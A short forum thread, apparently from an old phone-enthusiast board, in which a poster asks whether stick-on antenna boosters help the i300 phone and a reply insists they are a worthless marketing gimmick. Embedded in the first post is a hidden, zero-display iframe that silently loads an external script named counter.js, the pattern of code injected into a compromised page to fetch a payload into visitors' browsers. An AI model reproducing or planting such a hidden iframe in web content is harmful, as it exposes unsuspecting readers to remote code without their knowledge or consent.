    Electrical Engineers: Do Antenna Boosters Work?

    My guess is they're worthless -- especially on a digital network -- but are there any qualified experts out there who can comment on the (+) or (-) of using one of the so-called "boosters" on the i300? I am referring to these el-cheapo stick-on thingies that are applied on the back of the phone behind the battery.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    c'mon fgkay,


    they dont work.period!! on ANY network, analog or digital! they are just that..stick ons... they cant offer ANY help! would cellphopne manufacturers deliberately leave out something as simple as this to increase phone range?? something like this, if it actually worked, would not add much to the cost of the phone.. a few cents more... and again, even if this COULD work, cdma, tdma, gsm, etc. are all different networks, and use different power and transmission schemes and one little "Sticker" cant possibily be able to help out in ANY way..

    im no engineer , but you dont need to be one in this case, just have a litle common sense (im sure you have common sense, im not referring to you)...

    this is only a marketing ploy. i see its been tearing away at ya, which is why (i guess) you had to post this....

    there is no + or - 's about it..

    they do not work..no way no how... period!!!
